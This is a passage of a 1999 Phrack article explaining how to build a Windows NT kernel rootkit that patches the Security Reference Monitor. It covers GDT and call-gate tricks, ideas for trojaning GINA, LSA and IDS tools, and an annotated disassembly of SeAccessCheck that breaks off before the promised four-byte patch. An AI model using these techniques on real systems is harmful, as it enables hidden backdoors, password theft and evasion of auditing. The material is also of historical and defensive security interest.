-------[ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 05 of 19 ] -------------------------[ A *REAL* NT Rootkit, patching the NT Kernel ] --------[ Greg Hoglund ] Introduction ------------ First of all, programs such as Back Orifice and Netbus are NOT rootkits. They are amateur versions of PC-Anywhere, SMS, or a slew of other commercial applications that do the same thing. If you want to remote control a workstation, you could just as easily purchase the incredibly powerful SMS system from Microsoft. A remote-desktop/administration application is NOT a rootkit. What is a rootkit? A rootkit is a set of programs which *PATCH* and *TROJAN* existing execution paths within the system. This process violates the *INTEGRITY* of the TRUSTED COMPUTING BASE (TCB). In other words, a rootkit is something which inserts backdoors into existing programs, and patches or breaks the existing security system. - A rootkit may disable auditing when a certain user is logged on. - A rootkit could allow anyone to log in if a certain "backdoor" password is used. - A rootkit could patch the kernel itself, allowing anyone to run privileged code if they use a special filename. The possibilities are endless, but the point is that the "rootkit" involves itself in pre-existing architecture, so that it goes un-noticed. A remote administration application such as PC Anywhere is exactly that, an application. A rootkit, on the other hand, patches the already existing paths within the target operating system. To illustrate this, I have included in this document a 4-byte patch to the NT kernel that removes ALL security restrictions from objects within the NT domain. If this patch were applied to a running PDC, the entire domain's integrity would be violated. If this patch goes unnoticed for weeks or even months, it would be next to impossible to determine the damage. Network based security & the Windows NT Trust Domain ---------------------------------------------------- If you know much about the NT Kernel, you know that one of the executive components is called the Security Reference Monitor (SRM). The DoD Red Book also defines a "Security Reference Monitor". We are talking the same language. In the Red Book, a security domain is managed by a single entity. To Quote: "A single trusted system is accredited as a single entity by a single accrediting authority. A ``single trusted system'' network implements a reference monitor to enforce the access of subjects to objects in accordance with an explicit and well defined network security policy [DoD Red Book]." In NT parlance, that is called the Primary Domain Controller (PDC). Remember that every system has local security and domain security. In this case, we are talking about the domain security. The PDC's "Security Reference Monitor" is responsible for managing all of the objects within the domain. In doing this, it creates a single point of control, and therefore a "single trusted system" network. How to violate system integrity ------------------------------- I know this is alot of book theory, but bear with me just a bit longer. The DoD Orange Book also defines a "Trusted Computing Base" (TCB). If you are an NT programmer, then you have likely worked with the security privilege SE_TCB_PRIVILEGE. That privilege maps to the more familiar "act as part of the Operating System" User-Right. Using the User Administrator for NT you can actually add this privilege to a user. If you have the ability to act as part of the TCB, you can basically do anything. There is very little security implemented between your process and the rest of the machine. If the TCB can no longer be trusted, then the integrity of the entire network system is shot. The patch I am about to show you is an example of this. The patch, if installed on a Workstation, violates a network "partition". The patch, if installed on a PDC, violates the entire network's integrity. What is a partition? The Red Book breaks the network into NTCB (Network Trusted Computing Base) "Partitions". Any single component or machine on the network may be considered a "partition". This makes it convenient for analysis. To Quote: "An NTCB that is distributed over a number of network components is referred to as partitioned, and that part of the NTCB residing in a given component is referred to as an NTCB partition. A network host may possess a TCB that has previously been evaluated as a stand-alone system. Such a TCB does not necessarily coincide with the NTCB partition in the host, in the sense of having the same security perimeter [DoD Red Book]." On the same host you may have two unique regions, the TCB, which is the traditional Orange Book evaluation for Trusted Computing Base, and the NTCB. These partitions do not have to overlap, but they can. If any component of one is violated, it is likely that the other is as well. In other words, if a host is compromised, the NTCB may also be compromised. Obviously to install a patch over the TCB, you must already be Administrator, or have the ability to install a device driver. Given that Trojans and Virii work so well, it would be very easy to cause this patch to be installed w/o someone's knowledge. Imagine an exploit ------------------ Before I digress into serious techno-garble, consider some of the attacks that are possible by patching the NT kernel. All of these are possible because we have violated the TCB itself: 1. Insert invalid data. Invalid data can be inserted into any network stream. It can also introduce errors into the fixed storage system, perhaps subtly over time, such that even the backups get corrupted. This violates reliability & integrity. 2. Patch incoming ICMP. Using ICMP as a covert channel, the patch can read ICMP packets coming into the kernel for embedded commands. 3. Patch incoming ethernet. It can act as a sniffer, but without all of the driver components. If it has patched the ethernet, then it can also stream data in/out of the network. It can sniff crypto keys. 4. Patch existing DLL's, such as wininet.dll, capturing important data. 5. Patch the IDS system. It can patch a program such as Tripwire or RealSecure to violate its integrity, rendering the program unable to detect the nastiness... 6. Patch the auditing system, i.e., event log, to ignore certain event log messages. Now for the rare steak. Let's delve into an actual kernel patch. If you already understand protected mode and the global descriptor table, then you can skip this next section. Otherwise put on your hiking boots, there are a couple of switchbacks ahead. Rings of Power -------------- Windows NT is unlike DOS or Windows 95 in that it has process-space security. Every user-mode process has an area of memory that is protected by a Security Descriptor. Usually this SD is determined from the Access Token of the user that started the process. Access to all objects is handled through a "Access Control List". For Windows NT, this is called "Discretionary Access Control". Personally I find it really hard to grasp something if I don't understand it's most basic details. So, this next section describes the very foundation that makes security possible on the x86 architecture. First, it is important to understand "protected mode". Protected mode can only be understood by memory addressing. Almost all of the expanded capabilities of the x86 processor are built upon memory addressing. Protected mode gives you access to a 4 GB memory space. Multitasking and privilege levels are all based upon tricks with memory addressing. This discussion only applies to 386 and beyond. Memory is divided into code and data segments. In protected mode, all memory is addressed as a segment + an offset. Conversely, in real mode, everything is interpreted as an actual address. For our discussion, we only care about protected mode. In protected mode things get a little more complicated. We must address first the segment, followed by an offset into that segment. It is sort of a two step process. Why is this interesting?? This is how most modern operating systems work, and it is important for exploits and Virii. Any modern mobile code must be able to work within this arena. What is a selector? A selector is just a fancy word for a memory segment. Memory segments are organized by a table. These table entries are often called descriptors. So, remember, a selector is-a segment is-a descriptor. It's all the same thing. If you understand how the memory segments are kept track of, then you pretty much understand the whole equation. Every memory segment is first a virtual address (16-bits) plus an offset from that address (32-bits). A segment is not an actual address, like in realmode, but the number of a selector it wants to use. A selector is usually a small integer number. This small number is an offset into a table of descriptors. In turn, the descriptor itself then has the actual linear address of the beginning of the memory segment. In addition to that, the descriptor has the access privilege of the memory segment. Descriptors are stored in a table called the Global Descriptor Table (GDT). Each descriptor has a Descriptor Privilege Level (DPL), indicating what ring the memory segment runs in. Suffice it to say, the selector is your vehicle. Under NT and 95, there are selectors which cover the entire 4GB address range. If you were using one of these selectors, you could walk all over the memory map from 0 to whatever. These selectors do exist, and they are protected by a DPL of 0. Under Windows 9x, selector 28 is a ring 0 that covers the entire 4gb region. Under NT, selectors 8 and 10 achieve the same purpose. Dumping the GDT from SoftIce produces a table similar to this: GDTBase=80036000 Limit=0x03FF 0008 Code32 00000000 FFFFFFFF 0 P RE 0010 Data32 00000000 FFFFFFFF 0 P RW 001B Code32 00000000 FFFFFFFF 3 P RE 0023 Data32 00000000 FFFFFFFF 3 P RW 0028 TSS32 8001D000 000020AB 0 P B 0048 Reserved 00000000 00000000 0 NP 0060 Data16 00000400 0000FFFF 3 P RW etc, etc .... You can see what segment you are currently using by checking the CPU registers. The registers SS, DS, and CS indicate which selectors are being used for Stack Segment, Code Segment, and Data Segment. The stack and code segments must be in the same ring. 1. Segments can overlap one another. In other words, more than one segment can represent the same address-space. Segments can overlap one another wholly, or only in part. The address range for a segment is important, of course, but there is other delicious information we care about. For instance, a segment also has a Privilege Level (DPL). ---- ---- | | | | | | | | | | ---- | | ---- | | | | | | | | ---- | | | | ---- What is a DPL? Descriptor Privilege Level. This is important to understand. Every memory segment is protected by a privilege level, often called a "ring". The Intel processor has 4 rings, 0 through 3, usually only ring 0 and 3 are used. Lower ring levels have more privilege. In order to access a memory segment, the caller must have a current privilege level equal to or lower than the one being accessed. Current privilege level is often called CPL, and descriptor privilege level is often called DPL. This type of protection is a requirement for almost any security architecture. In the old days of DOS, mobile code such as virii were able to hook interrupts and execute any code at whim. They were walking all over the memory map at will. No such luck with the advent of Windows NT. There's a gaping need for Windows NT exploits that can take advantage of the old tricks. The central problem is that most code is executing within user mode, and has not access to ring 0, and therefore no access to the Interrupt Descriptor Table or the memory map as a whole. Under NT, the access to ring 0 is controlled from the right to add your own selector to the GDT. When you transition to ring 0, you are still in protected mode and the Virtual Memory Manager is still operating. Lets suppose you have written a virus that patches the Global Descriptor Table (GDT) and adds a new descriptor. This new descriptor describes a memory segment that covers the entire range of the map, from 0 to FFFFFFFF___. The DPL of the descriptor is 0, so any code running from it can access other ring-0 segments. In fact, it can access the entire map. A DPL 0 memory segment marked as "conforming" will violate integrity. The sensitivity label, in this regard, would be the DPL. The fact it is conforming violates the DPL's of other segments, if they overlap. If your descriptor is marked conforming, it can be called freely from ring-3 (user mode). This new entry goes unnoticed, of course. Who monitors the GDT on their system? Most people don't even know what that is. There are few IDS systems that monitor this type of information. Now you have effectively placed a backdoor into the memory map. You could be running under any process token, and have full read/write access to the map. This means reading/writing other important tables, such as the Interrupt Table. This means reading other procii's protected memory. This means infecting other files and procii w/ your virii at whim. Patching the SRM ---------------- The Security Reference Monitor is responsible for enforcing access control. Under NT, all of the SRM functions are handled by ntoskrnl.exe. If the integrity of that code were violated, then the SRM could no longer be trusted. The whole security system has failed. The Security Reference Monitor is responsible for saying Yes/No to any object access. It consults a process table to determine your current running process' access token. It then compares the access token with the required access of the object. Every object has a Security Descriptor (SD). Your running process has an Access Token. Comparing these two structures, the SRM is able to deny or allow you access to the object. orange book: "In October of 1972, the Computer Security Technology Planning Study, conducted by James P. Anderson & Co., produced a report for the Electronic Systems Division (ESD) of the United States Air Force.[1] In that report, the concept of "a reference monitor which enforces the authorized access relationships between subjects and objects of a system" was introduced. The reference monitor concept was found to be an essential element of any system that would provide multilevel secure computing facilities and controls." It then listed the three design requirements that must be met by a reference validation mechanism: a. The reference validation mechanism must be tamper proof. b. The reference validation mechanism must always be invoked. c. The reference validation mechanism must be small enough to be subject to analysis and tests, the completeness of which can be assured."[1] The SRM is *NOT* tamper proof. It may be protected by the TCB security privilege, but I suggest that the only truly tamper-proof SRM is going to use cryptographic mechanisms. Using an attack vector such as Virii or Trojan's, a patch could easily be placed within the TCB. You can patch the SRM itself if you have access to the map. In this, you can insert a backdoor such that a certain user-id ALWYAS has access. However, this does not require you to edit the user's security level in any way. You are patching it at the access point, not the source. So, auditing programs will not be able to notice the problem. This is a simple trick that could be employed in any NT RootKit. There are several key components to the NT Kernel. They are sometimes referred to as the "NT Executive". The NT executive is really a group of individual components with a well defined interface. Each component has such a well defined interface, in fact, that you could actually take it out completely and replace it with a new one. As long as the new component implemented all of the same interfaces, then the system would continue to function. The following are all components of the NT Executive: HAL: Hardware Abstraction Layer, HAL.DLL NTOSKERNL: Contains several components, NTOSKRNL.EXE The Virtual Memory Manager (VMM) The Security Reference Monitor (SRM) The I/O Manager The Object Manager The Process and Thread Manager The Kernel Services themselves -(Exception handling and runtime library) LPC Manager (Local Procedure Call) Hey, these are some of the modules listed when a Blue Screen occurs! The system is just a big memory map! With all of this data we are bound to find structures of interest! Many key data structures are crucial to security. Once we know what we are looking for, we can get into SoftIce and start poking around. A list of the exported functions for some of these components is in Appendix A. Using a tool such as SoftIce, reverse engineering the SRM and other components is easy ;) The methodology is simple. First, we must find the component we are interested in. They all sit in system memory at some point... Some key data structures are: ACL (Access Control List), contains ACE's ACE (Access Control Entry), has a 32-bit Access Mask and a SID SID (Security Identifier), a big number PTE (Page Table Entry) SD (Security Descriptor), has an Owner SID, a Group SID, and an ACL AT (Access Token) Now for some tricks! The first thing we need to do is identify which of these data structures we will be using. If we want to reverse engineer the Security Reference Monitor, then we can be assured that our SID is going to be used in some call somewhere.. This is where SoftIce comes in. SoftIce has an incredible feature called expressions. SoftIce will let you define a regular expression to be evaluated for a breakpoint. In other words, I can tell SoftIce to break if only a special set of circumstances has occurred. So, for example (working implementation): 1. I want softice to break if the ESI register references my SID. Since a SID is many words long, I will have to define the expression in several portions: bpx (ESI->0 == 0x12345678) && (ESI->4 == 0x90123456) && (ESI->8 == 0x78901234) What I have done here is tell softice to break if the ESI register points to the data: 0x123456789012345678901234. Notice how I use the -> operator to offset ESI for each word. Now, try to access an object. SoftIce will promptly break when your SID is used in a call. There are many system components that are worth reverse engineering. You may also want to play with the following: 1. GINA, (GINA.DLL) The logon screen you see when you type your password. Imagine if this component was trojaned.. A Virii could capture passwords across the enterprise. 2. LSA (The Local System Authority) This is the module responsible for querying the SAM database. This would be an ideal place to put a rootkit-password that *ALWAYS* allows you access to the system. 3. SSDT, The System Service Descriptor Table 4. GDT, the Global Descriptor Table 5. IDT, the Interrupt Descriptor Table Getting to ring zero in the first place --------------------------------------- User mode is very limiting under NT. Your process is bound by the selector it is currently using. The process cannot simply waltz over the entire memory map. As we have discussed, the process must first load a selector. You cannot simply read memory from 0 to FFF_, you can only access your own memory segment. There are tricks however. If the process is running under a user token that has "add service" privilege, then you can create your own call gate, install it in realtime, and then use it to run your code ring 0. Once you are running ring 0 you can patch the IDT or the Kernel. This is how User-Mode normally accesses a Ring-0 Code Segment. If you don't want to go to this trouble, you can upload a byte patcher that runs in ring zero on boot. This is as simple as writing a driver and installing to run on the next reboot. However, installing your own call-gate is by far the most sexy. Lets talk sexy. The answer is a call gate. All of the functions provided by NTDLL.DLL are implemented this way. This is why you must call Int 2Eh to make a call. The entire set of Int 2Eh functions are known as the Native Call Interface (NCI). What really happens is the Int 2Eh is handled by a function in NTOSKRNL.EXE. This function is called KiSystemService(). KiSystemService() routes the call to the proper code location. When you make a system call, you must first load the index of the function you wish to call. This is loaded into register EAX. Next, if the call takes parameters, a pointer to this block is loaded into EDX. Interrupt 2Eh is called, and EAX holds the return value. This is old hat to most assembler programmers. What is not obvious is how this is implemented in the Kernel. The function KiSystemService() is called, and left with the responsibility for dispatching the call. KiSystemService() must first determine *WHAT* function to call next, based on what we put in EAX. So, to this end, it maintains a table of functions and their index numbers.. imagine that! SofIce will dump this table if your interested. It looks something like: :ntcall Service table address: 80149398 Number of services:000000D4 0000 0008:8017451E params=06 ntoskrnl!NtConnectPort+0834 0001 0008:80199C16 params=08 ntoskrnl!SeQueryAuthenticationIdToken+04B8 0002 0008:8019B3A2 params=0B ntoskrnl!SePrivilegeObjectAuditAlarm+02B0 0003 0008:80158E50 params=02 ntoskrnl!NtAddAtom 0004 0008:80197624 params=06 ntoskrnl!NtAdjustPrivilegesToken+0422 0005 0008:80197202 params=06 ntoskrnl!NtAdjustPrivilegesToken 0006 0008:80196256 params=02 ntoskrnl!PsGetProcessExitTime+1848 0007 0008:8019620E params=01 ntoskrnl!PsGetProcessExitTime+1800 0008 0008:8015901E params=01 ntoskrnl!NtAllocateLocallyUniqueId 0009 0008:801592EC params=03 ntoskrnl!NtAllocateUuids 000A 0008:8017B0F6 params=06 ntoskrnl!NtAllocateVirtualMemory 000B 0008:8011B8E4 params=03 ntoskrnl!ZwYieldExecution+08AC etc etc... Well, this is all very interesting, but where is this table stored? How does SoftIce manage to read it? Of course, it's all undocumented ;-) Here I have no one to thank more than my friend from Sri Lanka, a fellow Rhino9 member, who goes by the handle Joey__. His paper on extending the NCI is nothing less than mind-blowing. I draw heavily upon his research for this section. I feel this paper could not be complete without going over call-gates and the NCI, so I paraphrase some of his work. For more detailed information on adding your own system services, read his paper entitled "Adding New Services to the NT Kernel Native API". A very interesting thing happens when you boot NT. You start with about 200 functions in the NCI. These are all implemented in NTOSKRNL.EXE. But, soon afterwards, another 500 or so functions are added to the NCI, these being implemented in WIN32K.SYS. The fact that additional functions were added proves that it is possible to register new functions into the NCI during runtime. The table that SoftIce dumps when you type NTCALL is called the System Service Descriptor Table (SSDT). The SSDT is what the KiSystemService() function uses to look up the proper function for a Int 2Eh call. Given that the NCI is extensible, it must be possible to add new functions to this table. As it turns out, there are actually multiple tables. WIN32K.SYS doesn't actually add to the EXISTING system table, but creates a whole NEW one with 500 or so functions, and then ADDS it to the Kernel. To do this, it calls the exported function KeAddSystemServiceTable(). So, in a nutshell, all we have to do is create a new table with OUR functions and do the same thing. Another angle on this involves adding our functions to the existing NCI table. But, this involves patching memory. Again, that's what we do best. To pull this trick off cleanly, we must allocate new memory large enough to hold the old tables plus our additional entries. We then must copy the old tables into our new memory, add our entries, and then patch memory so that KiSystemService() looks at our new table. The FOUR-Byte Patch ------------------- Okay, lesson number one. Don't make yourself do extra work when you don't have to. This is the story of my life. I started this project by reversing the RtlXXX subroutines. For instance, there is a routine called RtlGetOwnerSecurityDescriptor(). This is a simple utility function that returns the Owner SID for a given security descriptor. I patched this routine to check for the BUILTIN\Administrators group, and alter it to be the BUILTIN\Users group. Although this patch works, it doesn't help me obtain access to protected files and shares. The RTL routine is only called for Process and Thread creation, it would seem. So, to make a long story short, I have included the RTLXXX information and patch below. It will illustrate a working kernel patch and should help you see my thought process as I 0wned a key kernel function. Okay, lesson number two. If at first you don't succeed, try another function. This time I got very wise and decided to test a number of breakpoints in the Kernel before doing any extra work. Because I wanted to circumvent access to a file directly, I moved directly onward to the SeAccessCheck() function. Up front, I set a breakpoint on this function to make sure it is being called when accessing a file. To my excitement, it appears this function is called for almost any object access, not just a file. This means network shares as well. Going further, I tested my next patch against network share access as well as file access. I created a test directory, shared it over the network, and created a test file within that directory. At first, the file had the default Everyone FULL CONTROL permissions. I set a breakpoint on SeAccessCheck() and attempted to cat the file. For this simple command the function is called three times: Break due to BPX ntoskrnl!SeAccessCheck (ET=2.01 seconds) :stack Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D1C) => ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711734) Break due to BPX ntoskrnl!SeAccessCheck (ET=991.32 microseconds) :stack Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711CB8) => ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD7116D8) Break due to BPX ntoskrnl!SeAccessCheck (ET=637.15 microseconds) :stack Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D08) => ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711720) Next I set the file access to Administrator NO ACCESS. Attempting to cat the file locally resulted in an "Access Denied" message. The routine is called 13 times before the Access Denied message is given. Now I try to access it over the network. The function is called a total of 18 times before a Access Denied message is given. It would seem it takes alot more work to deny access than it does to give it. ;) I was lit now, it looked like I had my target. After another 2 shots of espresso, I dumped the IDA file for SeAccessCheck, busted into SoftIce and started exploring: To make things simpler, I have removed some of the assembly code that is not part of my discussion. If you are going to start playing with this, then you should disassemble all of this yourself nonetheless. I recommend IDA. At first I tried WDAsm32, but it was unable to decompile the ntoskrnl.exe binary properly. IDA, on the other hand, had no problems. WDAsm32 has a much nicer GUI interface, but IDA has proved more reliable. Just as most engineers, I use many tools to get the job done, so I recommend having both disassemblers around. The function & patches: 8019A0E6 ; Exported entry 816. SeAccessCheck 8019A0E6 8019A0E6 ; =========================================================================== 8019A0E6 8019A0E6 ; S u b r o u t i n e 8019A0E6 ; Attributes: bp-based frame 8019A0E6 8019A0E6 public SeAccessCheck 8019A0E6 SeAccessCheck proc near 8019A0E6 ; sub_80133D06+B0p ... 8019A0E6 8019A0E6 arg_0 = dword ptr 8 ; appears to point to a ; Security Descriptor 8019A0E6 arg_4 = dword ptr 0Ch 8019A0E6 arg_8 = byte ptr 10h 8019A0E6 arg_C = dword ptr 14h 8019A0E6 arg_10 = dword ptr 18h 8019A0E6 arg_14 = dword ptr 1Ch 8019A0E6 arg_18 = dword ptr 20h 8019A0E6 arg_1C = dword ptr 24h 8019A0E6 arg_20 = dword ptr 28h 8019A0E6 arg_24 = dword ptr 2Ch 8019A0E6 8019A0E6 push ebp 8019A0E7 mov ebp, esp 8019A0E9 push ebx 8019A0EA push esi 8019A0EB push edi 8019A0EC cmp byte ptr [ebp+arg_1C], 0 8019A0F0 mov ebx, [ebp+arg_C] 8019A0F3 jnz short loc_8019A137 8019A0F5 test ebx, 2000000h 8019A0FB jz short loc_8019A11D 8019A0FD mov eax, [ebp+arg_18] 8019A100 mov edi, [ebp+arg_20] 8019A103 mov ecx, ebx 8019A105 mov eax, [eax+0Ch] 8019A108 and ecx, 0FDFFFFFFh 8019A10E mov [edi], eax 8019A110 or ecx, eax 8019A112 mov eax, [ebp+arg_10] 8019A115 or eax, ecx 8019A117 mov [edi], ecx 8019A119 mov [edi], eax 8019A11B jmp short loc_8019A13A 8019A11D ; =========================================================================== 8019A11D 8019A11D loc_8019A11D: ; CODE XREF: SeAccessCheck+15 8019A11D mov eax, [ebp+arg_10] 8019A120 mov edi, [ebp+arg_20] 8019A123 or eax, ebx 8019A125 mov edx, [ebp+arg_24] 8019A128 mov [edi], eax 8019A12A mov al, 1 8019A12C mov dword ptr [edx], 0 8019A132 jmp loc_8019A23A 8019A137 ; =========================================================================== 8019A137 8019A137 loc_8019A137: ; CODE XREF: SeAccessCheck+D 8019A137 mov edi, [ebp+arg_20] 8019A13A 8019A13A loc_8019A13A: ; CODE XREF: SeAccessCheck+35 8019A13A cmp [ebp+arg_0], 0 8019A13E jnz short loc_8019A150 8019A140 mov edx, [ebp+arg_24] 8019A143 xor al, al ; STATUS_ACCESS_DENIED not hit ; under normal means 8019A145 mov dword ptr [edx], 0C0000022h 8019A14B jmp loc_8019A23A 8019A150 ; =========================================================================== 8019A150 8019A150 loc_8019A150: ; CODE XREF: SeAccessCheck+58 8019A150 mov esi, [ebp+arg_4] 8019A153 cmp dword ptr [esi], 0 8019A156 jz short loc_8019A16E 8019A158 cmp dword ptr [esi+4], 2 8019A15C jge short loc_8019A16E 8019A15E mov edx, [ebp+arg_24] 8019A161 xor al, al ; STATUS_BAD_IMPERSONATION_LEVEL ; not normally hit 8019A163 mov dword ptr [edx], 0C00000A5h 8019A169 jmp loc_8019A23A 8019A16E ; =========================================================================== 8019A16E 8019A16E loc_8019A16E: ; CODE XREF: SeAccessCheck+70 8019A16E ; SeAccessCheck+76 8019A16E test ebx, ebx 8019A170 jnz short loc_8019A1A0 8019A172 cmp [ebp+arg_10], 0 8019A176 jnz short loc_8019A188 8019A178 mov edx, [ebp+arg_24] 8019A17B xor al, al ; STATUS_ACCESS_DENIED not ; normally hit 8019A17D mov dword ptr [edx], 0C0000022h 8019A183 jmp loc_8019A23A 8019A188 ; =========================================================================== 8019A188 8019A188 loc_8019A188: ; CODE XREF: SeAccessCheck+90 8019A188 mov eax, [ebp+arg_10] 8019A18B xor ecx, ecx 8019A18D mov edx, [ebp+arg_24] 8019A190 mov [edi], eax 8019A192 mov eax, [ebp+arg_14] 8019A195 mov [edx], ecx 8019A197 mov [eax], ecx 8019A199 mov al, 1 8019A19B jmp loc_8019A23A 8019A1A0 ; =========================================================================== 8019A1A0 8019A1A0 loc_8019A1A0: ; CODE XREF: SeAccessCheck+8A 8019A1A0 cmp [ebp+arg_8], 0 8019A1A4 jnz short loc_8019A1AC 8019A1A6 push esi 8019A1A7 call SeLockSubjectContext 8019A1AC 8019A1AC loc_8019A1AC: ; CODE XREF: SeAccessCheck+BE 8019A1AC test ebx, 2060000h 8019A1B2 jz short loc_8019A1EA 8019A1B4 mov eax, [esi] 8019A1B6 test eax, eax 8019A1B8 jnz short loc_8019A1BD 8019A1BA mov eax, [esi+8] 8019A1BD 8019A1BD loc_8019A1BD: ; CODE XREF: SeAccessCheck+D2 8019A1BD push 1 8019A1BF push [ebp+arg_0] 8019A1C2 push eax 8019A1C3 call sub_8019A376 8019A1C8 test al, al 8019A1CA jz short loc_8019A1EA 8019A1CC test ebx, 2000000h 8019A1D2 jz short loc_8019A1DA 8019A1D4 or byte ptr [ebp+arg_10+2], 6 8019A1D8 jmp short loc_8019A1E4 8019A1DA ; =========================================================================== 8019A1DA 8019A1DA loc_8019A1DA: ; CODE XREF: SeAccessCheck+EC 8019A1DA mov eax, ebx 8019A1DC and eax, 60000h 8019A1E1 or [ebp+arg_10], eax 8019A1E4 8019A1E4 loc_8019A1E4: ; CODE XREF: SeAccessCheck+F2 8019A1E4 and ebx, 0FFF9FFFFh 8019A1EA 8019A1EA loc_8019A1EA: ; CODE XREF: SeAccessCheck+CC 8019A1EA ; SeAccessCheck+E4 8019A1EA test ebx, ebx 8019A1EC jnz short loc_8019A20C 8019A1EE cmp [ebp+arg_8], 0 8019A1F2 jnz short loc_8019A1FA 8019A1F4 push esi 8019A1F5 call SeUnlockSubjectContext 8019A1FA 8019A1FA loc_8019A1FA: ; CODE XREF: SeAccessCheck+10 8019A1FA mov eax, [ebp+arg_10] 8019A1FD mov edx, [ebp+arg_24] 8019A200 mov [edi], eax 8019A202 mov al, 1 8019A204 mov dword ptr [edx], 0 8019A20A jmp short loc_8019A23A 8019A20C ; =========================================================================== Since most of the arguments are being passed to this, it looks like this routine is a wrapper for this other one.. lets delve deeper.... 8019A20C 8019A20C loc_8019A20C: ; CODE XREF: SeAccessCheck+106 8019A20C push [ebp+arg_24] 8019A20F push [ebp+arg_14] 8019A212 push edi 8019A213 push [ebp+arg_1C] 8019A216 push [ebp+arg_10] 8019A219 push [ebp+arg_18] 8019A21C push ebx 8019A21D push dword ptr [esi] 8019A21F push dword ptr [esi+8] 8019A222 push [ebp+arg_0] 8019A225 call sub_80199836 ; decompiled below *** 8019A22A cmp [ebp+arg_8], 0 8019A22E mov bl, al 8019A230 jnz short loc_8019A238 8019A232 push esi 8019A233 call SeUnlockSubjectContext ; not usually hit 8019A238 8019A238 loc_8019A238: ; CODE XREF: SeAccessCheck+14A 8019A238 mov al, bl 8019A23A 8019A23A loc_8019A23A: ; CODE XREF: SeAccessCheck+4C 8019A23A ; SeAccessCheck+65 ... 8019A23A pop edi 8019A23B pop esi 8019A23C pop ebx 8019A23D pop ebp 8019A23E retn 28h 8019A23E SeAccessCheck endp Subroutine called from SeAccessCheck. Looks like most of work is being done in here. I will try to patch this routine. 80199836 ; ============================================================================== 80199836 80199836 ; S u b r o u t i n e 80199836 ; Attributes: bp-based frame 80199836 80199836 sub_80199836 proc near ; CODE XREF: PAGE:80199FFA 80199836 ; SeAccessCheck+13F ... 80199836 80199836 var_14 = dword ptr -14h 80199836 var_10 = dword ptr -10h 80199836 var_C = dword ptr -0Ch 80199836 var_8 = dword ptr -8 80199836 var_2 = byte ptr -2 80199836 arg_0 = dword ptr 8 80199836 arg_4 = dword ptr 0Ch 80199836 arg_8 = dword ptr 10h 80199836 arg_C = dword ptr 14h 80199836 arg_10 = dword ptr 18h 80199836 arg_16 = byte ptr 1Eh 80199836 arg_17 = byte ptr 1Fh 80199836 arg_18 = dword ptr 20h 80199836 arg_1C = dword ptr 24h 80199836 arg_20 = dword ptr 28h 80199836 arg_24 = dword ptr 2Ch 80199836 80199836 push ebp 80199837 mov ebp, esp 80199839 sub esp, 14h 8019983C push ebx 8019983D push esi 8019983E push edi 8019983F xor ebx, ebx 80199841 mov eax, [ebp+arg_8] ; pulls eax 80199844 mov [ebp+var_14], ebx ; ebx is zero, looks ; like it init's a ; bunch of local vars 80199847 mov [ebp+var_C], ebx 8019984A mov [ebp-1], bl 8019984D mov [ebp+var_2], bl 80199850 cmp eax, ebx ; check that arg8 is ; NULL 80199852 jnz short loc_80199857 80199854 mov eax, [ebp+arg_4] ; arg4 pts to ; "USER32 " 80199857 80199857 loc_80199857: 80199857 mov edi, [ebp+arg_C] ; checking some flags ; off of this one 8019985A mov [ebp+var_8], eax ; var_8 = arg_4 8019985D test edi, 1000000h ; obviously flags.. ; desired access mask ; I think... 80199863 jz short loc_801998CA ; normally this jumps.. ; go ahead and jump 80199865 push [ebp+arg_18] 80199868 push [ebp+var_8] 8019986B push dword_8014EE94 80199871 push dword_8014EE90 80199877 call sub_8019ADE0 ; another undoc'd sub 8019987C test al, al ; return code 8019987E jnz short loc_80199890 80199880 mov ecx, [ebp+arg_24] 80199883 xor al, al 80199885 mov dword ptr [ecx], 0C0000061h 8019988B jmp loc_80199C0C 80199890 ; =========================================================================== removed source here 801998CA ; =========================================================================== 801998CA 801998CA loc_801998CA: ; jump from above lands here 801998CA ; sub_80199836 801998CA mov eax, [ebp+arg_0] ; arg0 pts to a ; Security Descriptor 801998CD mov dx, [eax+2] ; offset 2 is that ; 80 04 number... 801998D1 mov cx, dx 801998D4 and cx, 4 ; 80 04 become 00 04 801998D8 jz short loc_801998EA ; normally doesnt jump 801998DA mov esi, [eax+10h] ; SD[10h] is an offset ; value to the DACL in ; the SD 801998DD test esi, esi ; make sure it exists 801998DF jz short loc_801998EA 801998E1 test dh, 80h 801998E4 jz short loc_801998EC 801998E6 add esi, eax ; FFWDS to first DACL ; in SD ****** 801998E8 jmp short loc_801998EC ; normally all good ; here, go ahead and ; jump 801998EA ; =========================================================================== 801998EA 801998EA loc_801998EA: ; CODE XREF: sub_80199836+A2 801998EA ; sub_80199836+A9 801998EA xor esi, esi 801998EC 801998EC loc_801998EC: ; CODE XREF: sub_80199836+AE 801998EC ; sub_80199836+B2 801998EC cmp cx, 4 ; jump lands here 801998F0 jnz loc_80199BC6 801998F6 test esi, esi 801998F8 jz loc_80199BC6 801998FE test edi, 80000h ; we normally dont match this, ; so go ahead and jump 80199904 jz short loc_8019995E *** removed source here *** 8019995E ; =========================================================================== 8019995E 8019995E loc_8019995E: ; CODE XREF: sub_80199836+CE 8019995E ; sub_80199836+D4 ... 8019995E movzx eax, word ptr [esi+4] ; jump lands 80199962 mov [ebp+var_10], eax ; offset 4 is number of ; ACE's present in DACL ; var_10 = # Ace's 80199965 xor eax, eax 80199967 cmp [ebp+var_10], eax 8019996A jnz short loc_801999B7 ; normally jump *** removed source here *** 801999A2 ; =========================================================================== *** removed source here *** 801999B7 ; =========================================================================== 801999B7 801999B7 loc_801999B7: ; CODE XREF: sub_80199836+134 801999B7 test byte ptr [ebp+arg_C+3], 2 ; looks like part of ; the flags data, ; we usually jump 801999BB jz loc_80199AD3 *** removed source here *** 80199AD3 ; =========================================================================== 80199AD3 80199AD3 loc_80199AD3: ; CODE XREF: sub_80199836+185 80199AD3 mov [ebp+var_C], 0 ; jump lands here 80199ADA add esi, 8 80199ADD cmp [ebp+var_10], 0 ; is number of ACE's zero? 80199AE1 jz loc_80199B79 ; normally not 80199AE7 80199AE7 loc_80199AE7: ; CODE XREF: sub_80199836+33D 80199AE7 test edi, edi ; the EDI register is very ; important we will continue ; to loop back to this point ; as we traverse each 